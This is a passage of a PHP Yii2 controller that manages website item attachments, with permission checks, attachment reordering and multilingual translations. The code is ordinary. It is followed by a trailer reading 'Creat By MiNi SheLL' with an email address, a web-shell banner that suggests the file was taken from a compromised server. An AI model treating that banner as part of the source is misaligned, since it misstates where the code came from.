        if(!Yii::$app->user->can('updateWebsites', ['model' => $modelItem->page->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idMainLanguage = $modelItem->page->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();
        if(empty($idMainLanguage)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $modelItem->id_item]);
        }
        
        $websiteLanguages = \yii\helpers\ArrayHelper::map(
            $modelItem->page->website->getRelationsWithLanguages()
                ->select(['languages.id_language', 'languages.name'])
                ->join('INNER JOIN', 'languages', 'languages.id_language = websites_has_languages.id_language')
                ->orderBy('websites_has_languages.or_main DESC, languages.name ASC')
                ->asArray()
                ->all(), 
            'id_language', 
            'name');
        
        $model = new WebsitesItemsAttachments(['scenario' => 'create']);
        $model->id_item = $modelItem->id_item;
        
        $modelsTranslations = [];
        foreach($websiteLanguages as $idLanguage => $languageName) {
            $modelsTranslations[$idLanguage] = new WebsitesItemsAttachmentsTranslations(['scenario' => $idLanguage === $idMainLanguage ? 'create' : 'createOptionally', 'id_language' => $idLanguage]);
        }
        
        $outputParams = [
            'model' => $model,
            'modelsTranslations' => $modelsTranslations,
            'modelItem' => $modelItem,
            'idMainLanguage' => $idMainLanguage,
            'websiteLanguages' => $websiteLanguages
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_item',]), \yii\bootstrap\ActiveForm::validateMultiple($modelsTranslations, ['id_language', 'name']));
        }
        
        if(Yii::$app->request->getIsPost()) {            
            if(!$model->load(Yii::$app->request->post()) || !\yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_attachment', $outputParams);
            }
            $model->id_item = $modelItem->id_item;             
            
            $model->loadFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_attachment', $outputParams);
            }

            $newFilePath = $model->saveFile();
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('create_attachment', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsAttachments = WebsitesItemsAttachments::find()
                    ->where(['>=', 'attachment_order', $model->attachment_order])
                    ->andWhere(['id_item' => $model->id_item])
                    ->all();
            if(!empty($modelsAttachments)) {                
                array_walk($modelsAttachments, function($modelAttachment, $key) use (&$flag) {
                    $modelAttachment->attachment_order += 1;
                    if(!$flag || !$modelAttachment->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            $flag = $flag && $model->save(false);
            
            if($flag && !empty($modelsTranslations)) {
                foreach($modelsTranslations as $idLanguage => $modelTranslation) {
                    $modelTranslation->id_attachment = $model->id_attachment;
                }
                
                if(!\yii\base\Model::validateMultiple($modelsTranslations)) {                    
                    $errorsFromModelsTranslations = [];
                    if(!empty($modelsTranslations)) {
                        foreach($modelsTranslations as $modelTranslation) {
                            if($modelTranslation->hasErrors()) {
                                foreach($modelTranslation->getErrors() as $error) {
                                    $errorsFromModelsTranslations[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsTranslations);
                    return $this->conditionalRender('create_attachment', $outputParams);
                }
                
                foreach($modelsTranslations as $modelTranslation) {
                    if(!$modelTranslation->isEmpty() && !$modelTranslation->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if ($flag) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                $transaction->commit();
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_item]);
                } 
                else {
                    $model = new WebsitesItemsAttachments(['scenario' => 'create']);
                    $model->id_item = $modelItem->id_item;
                    $modelsTranslations = [];
                    foreach($websiteLanguages as $idLanguage => $languageName) {
                        $modelsTranslations[$idLanguage] = new WebsitesItemsAttachmentsTranslations(['scenario' => $idLanguage === $idMainLanguage ? 'create' : 'createOptionally', 'id_language' => $idLanguage]);
                    }
                    
                    $outputParams['model'] = $model;
                    $outputParams['modelsTranslations'] = $modelsTranslations;
                }
            } else {
                $transaction->rollBack();
                @unlink($newFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_attachment', $outputParams);
    }
    
    /**
     * Updates an existing WebsitesItemsAttachments model.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateAttachment($id)
    {
        $model = $this->findModelAttachment($id);
        $model->setScenario('update');
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->item->page->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idMainLanguage = $model->item->page->website->getRelationsWithLanguages()->select(['id_language'])->where(['or_main' => 1])->scalar();
        if(empty($idMainLanguage)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_item]);
        }
        
        $websiteLanguages = \yii\helpers\ArrayHelper::map(
            $model->item->page->website->getRelationsWithLanguages()
                ->select(['languages.id_language', 'languages.name'])
                ->join('INNER JOIN', 'languages', 'languages.id_language = websites_has_languages.id_language')
                ->orderBy('websites_has_languages.or_main DESC, languages.name ASC')
                ->asArray()
                ->all(), 
            'id_language', 
            'name');
        
        $modelsTranslations = $model->getTranslations()->indexBy('id_language')->all();
        foreach($websiteLanguages as $idLanguage => $languageName) {
            if(!isset($modelsTranslations[$idLanguage])) {
                $modelsTranslations[$idLanguage] = new WebsitesItemsAttachmentsTranslations(['id_attachment' => $model->id_attachment, 'id_language' => $idLanguage]);
            }            
            $modelsTranslations[$idLanguage]->setScenario($idLanguage === $idMainLanguage ? 'update' : 'updateOptionally');
        }
        
        $outputParams = [
            'model' => $model,
            'modelsTranslations' => $modelsTranslations,
            'modelItem' => $model->item,
            'idMainLanguage' => $idMainLanguage,
            'websiteLanguages' => $websiteLanguages
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post()) && \yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_item',]), \yii\bootstrap\ActiveForm::validateMultiple($modelsTranslations, ['id_attachment', 'id_language', 'name']));
        }
        
        if(Yii::$app->request->getIsPost()) { 
            $oldOrder = intval($model->getOldAttribute('attachment_order'));            
            
            if(!$model->load(Yii::$app->request->post()) || !\yii\base\Model::loadMultiple($modelsTranslations, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            $oldFilePath = $model->loadFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $newOrder = intval($model->attachment_order);
            
            if($newOrder !== $oldOrder) {
                if($newOrder > $oldOrder) {
                    $modelsAttachments = WebsitesItemsAttachments::find()
                        ->where(['<=', 'attachment_order', $newOrder])
                        ->andWhere(['>', 'attachment_order', $oldOrder])
                        ->andWhere(['id_item' => $model->id_item])
                        ->andWhere(['!=', 'id_attachment', $model->id_attachment])
                        ->all();
                    if(!empty($modelsAttachments)) {                
                        array_walk($modelsAttachments, function($modelAttachment, $key) use (&$flag) {
                            $modelAttachment->attachment_order -= 1;
                            if(!$flag || !$modelAttachment->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                } else {
                    $modelsAttachments = WebsitesItemsAttachments::find()
                        ->where(['<', 'attachment_order', $oldOrder])
                        ->andWhere(['>=', 'attachment_order', $newOrder])
                        ->andWhere(['id_item' => $model->id_item])
                        ->andWhere(['!=', 'id_attachment', $model->id_attachment])
                        ->all();
                    if(!empty($modelsAttachments)) {                
                        array_walk($modelsAttachments, function($modelAttachment, $key) use (&$flag) {
                            $modelAttachment->attachment_order += 1;
                            if(!$flag || !$modelAttachment->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                }
            }
            
            $flag = $flag && $model->save(false);
            
            if($flag && !empty($modelsTranslations)) {
                foreach($modelsTranslations as $idLanguage => $modelTranslation) {
                    $modelTranslation->id_language = $idLanguage;
                    $modelTranslation->id_attachment = $model->id_attachment;
                }
                
                if(!\yii\base\Model::validateMultiple($modelsTranslations)) {                    
                    $errorsFromModelsTranslations = [];
                    if(!empty($modelsTranslations)) {
                        foreach($modelsTranslations as $modelTranslation) {
                            if($modelTranslation->hasErrors()) {
                                foreach($modelTranslation->getErrors() as $error) {
                                    $errorsFromModelsTranslations[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsTranslations);
                    return $this->conditionalRender('update_attachment', $outputParams);
                }
                
                foreach($modelsTranslations as $idLanguage => $modelTranslation) {
                    if($modelTranslation->isEmpty()) {
                        if($modelTranslation->isNewRecord) {
                            unset($modelsTranslations[$idLanguage]);
                        } elseif($modelTranslation->delete() === false) {
                            $flag = false;
                            break;
                        }
                    } elseif(!$modelTranslation->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if ($flag) {
                $newFilePath = $model->saveFile();
                if($newFilePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->conditionalRender('update_attachment', $outputParams);
                }  
                @unlink($oldFilePath);
                $transaction->commit(); 
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_item]);
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }            
        }
        
        return $this->conditionalRender('update_attachment', $outputParams);
    }

    /**
     * Deletes an existing WebsitesItemsAttachments model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteAttachment($id)
    {
        $model = $this->findModelAttachment($id);    
        
        if(!Yii::$app->user->can('updateWebsites', ['model' => $model->item->page->website])) {        
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if($model->delete() !== false) {
            if(!Yii::$app->request->isPjax) {
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.')); 
            }
        } else {
            if(!Yii::$app->request->isPjax) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
            }
        }        
        
        return Yii::$app->getResponse()->redirect(['websitesitems/update', 'id' => $model->id_item], 302, false);
    }
    
    /**
     * Finds the WebsitesItems model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return WebsitesItems the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = WebsitesItems::findOne($id)) !== null) {
            return $model;
        }

        throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
    }
    
    /**
     * Finds the WebsitesPages model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return WebsitesPages the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelPage($id)
    {
        if (($model = WebsitesPages::findOne($id)) !== null) {
            return $model;
        }

        throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
    }
    
    /**
     * Finds the WebsitesItemsAttachments model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return WebsitesItemsAttachments the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelAttachment($id)
    {
        if (($model = WebsitesItemsAttachments::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com